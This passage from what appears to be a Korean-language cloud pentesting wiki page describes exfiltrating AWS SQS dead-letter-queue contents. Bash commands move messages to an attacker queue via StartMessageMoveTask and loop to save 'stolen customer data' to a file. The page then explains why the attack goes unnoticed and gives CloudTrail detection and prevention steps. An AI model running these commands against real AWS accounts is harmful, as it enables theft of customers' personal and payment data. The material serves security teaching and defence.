||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **탈취한 민감한 데이터 수집**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### 계정 간 주의사항
|
||||
- 대상 큐는 피해자 principal이 `sqs:SendMessage`을 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다 (and, if used, KMS grants/permissions).
|
||||
|
||||
## 이 공격이 효과적인 이유
|
||||
|
||||
1. **정상적인 AWS 기능**: 내장된 AWS 기능을 사용하므로 악의적인 행위로 감지되기 어려움
|
||||
2. **대량 작업**: 느리게 개별 접근하는 대신 수천 개의 메시지를 빠르게 전송
|
||||
3. **이력 데이터**: DLQs는 수주/수개월에 걸쳐 민감한 데이터를 축적함
|
||||
4. **눈에 띄지 않음**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않음
|
||||
5. **계정 간 가능**: 권한이 허용되면 공격자의 자체 AWS 계정으로 데이터를 exfiltrate할 수 있음
|
||||
|
||||
## 탐지 및 방지
|
||||
|
||||
### 탐지
|
||||
의심스러운 `StartMessageMoveTask` API 호출을 CloudTrail에서 모니터링하세요:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### 예방
|
||||
1. **Least Privilege**: 필요한 역할에 대해서만 `sqs:StartMessageMoveTask` 권한을 제한하세요
|
||||
2. **Monitor DLQs**: 비정상적인 DLQ 활동에 대해 CloudWatch 알람을 설정하세요
|
||||
3. **Cross-Account Policies**: 크로스-계정 액세스를 허용하는 SQS queue 정책을 신중히 검토하세요
|
||||
4. **Encrypt DLQs**: 제한된 키 정책을 적용한 SSE-KMS를 사용하세요
|
||||
5. **Regular Cleanup**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 정기적으로 정리하세요
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user